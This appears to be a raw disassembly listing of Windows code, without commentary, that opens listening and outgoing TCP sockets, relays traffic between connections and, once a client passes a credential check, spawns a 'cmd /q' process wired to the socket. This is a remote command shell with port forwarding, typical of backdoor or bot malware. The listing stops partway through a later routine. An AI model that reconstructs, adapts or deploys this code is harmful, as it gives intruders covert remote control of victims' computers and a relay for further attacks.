var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA64	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4CB9E4	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CBA24	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CBA68	; gethostbyname
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: sub_410F3C+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB99C	; gethostbyaddr


loc_410FDA:				; CODE XREF: sub_410F3C+8Ej
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_43525C
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43E92C[ebx]
		mov	dword_43E924[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E930[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_411123
		push	edi
		push	edi
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E934[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: sub_410F3C+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_41109B
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: sub_410F3C+153j
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: sub_410F3C+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9FC	; recv
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: sub_410F3C+14Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43521C
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: sub_410F3C+44j
					; sub_410F3C+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43E92C[eax]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410F3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411123	proc near		; DATA XREF: sub_410F3C+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: sub_411123+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_43E930[esi]
		call	dword_4CB9FC	; recv
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43E92C[esi]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: sub_411123+61j
		push	dword_43E930[esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_411123	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111C0	proc near		; DATA XREF: sub_41144E+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_43E92C[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9CC	; select
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_411244:				; CODE XREF: sub_4111C0+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9FC	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB938	; getpeername
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB978	; WSAGetLastError
		push	eax
		push	offset unk_435334
		call	sub_415DAC
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		call	dword_4270D4	; ExitThread


loc_4112BD:				; CODE XREF: sub_4111C0+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4CB99C	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_4112E7
		push	[ebp+var_18]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: sub_4111C0+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: sub_4111C0+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB98
		push	dword ptr [esi]
		call	dword_4CBA34	; send
		cmp	dword_4CE73C, edi
		jnz	short loc_411357
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA34	; send
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_411357:				; CODE XREF: sub_4111C0+14Cj
					; sub_4111C0+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_4352F8
		call	sub_415DAC
		push	[ebp+arg_0]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4352CC
		call	sub_415DAC
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		call	dword_4270D4	; ExitThread


loc_41139E:				; CODE XREF: sub_4111C0+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_4352A0
		call	sub_415DAC
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	dword_4270D4	; ExitThread
sub_4111C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: sub_4111C0+9Ap
					; sub_4111C0+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC	; recv
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC	; recv
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435360
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: sub_4111C0+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_43538C
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41144E	proc near		; DATA XREF: sub_401ACD+237Ao

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4CB954	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_4114A7
		push	eax
		push	offset unk_4354FC
		call	sub_415DAC
		push	[ebp+var_4C]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		call	dword_4270D4	; ExitThread


loc_4114A7:				; CODE XREF: sub_41144E+3Aj
		push	edi
		push	offset loc_4116CC
		call	dword_42712C	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_4114E0
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4354B8
		call	sub_415DAC
		pop	ecx
		pop	ecx
		call	dword_4CB93C	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_4114E0:				; CODE XREF: sub_41144E+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4CB9E4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4CBA64	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_411657
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_43E92C[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4CBA10	; bind
		test	eax, eax
		jnz	loc_411657
		push	7FFFFFFFh
		push	ebx
		call	dword_4CBA0C	; listen
		test	eax, eax
		jnz	loc_411657
		push	offset unk_43547C
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_415D38
		pop	ecx
		mov	[ebp+arg_0], edi


loc_41156F:				; CODE XREF: sub_41144E+15Aj
					; sub_41144E+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4CBA78	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_41165A
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4CB9C4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41156F
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_435438
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_4111C0
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E934[ecx], eax
		jz	short loc_411642


loc_41162F:				; CODE XREF: sub_41144E+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_41156F
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_41162F
; ---------------------------------------------------------------------------


loc_411642:				; CODE XREF: sub_41144E+1DFj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4353FC
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_41165A
; ---------------------------------------------------------------------------


loc_411657:				; CODE XREF: sub_41144E+C8j
					; sub_41144E+ECj ...
		mov	edi, [ebp+arg_0]


loc_41165A:				; CODE XREF: sub_41144E+13Cj
					; sub_41144E+207j
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4353C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_41169A
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_409869
		add	esp, 14h


loc_41169A:				; CODE XREF: sub_41144E+22Aj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C	; closesocket
		push	ebx
		call	dword_4CBA7C	; closesocket
		call	dword_4CB93C	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	ebx


loc_4116CC:				; DATA XREF: sub_41144E+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_41144E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: sub_4111C0+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E92C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43555C
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43555C
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4270B4	; TerminateThread


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_427130	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435528
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	dword_4270B4	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4270FC	; TerminateProcess


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4CBA7C	; closesocket
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43560C
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_4118B2
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4355CC


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_4355A4
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi	; CloseHandle


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi	; CloseHandle


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_427100	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E928[eax], ecx
		call	dword_427070	; CloseHandle
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43564C
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
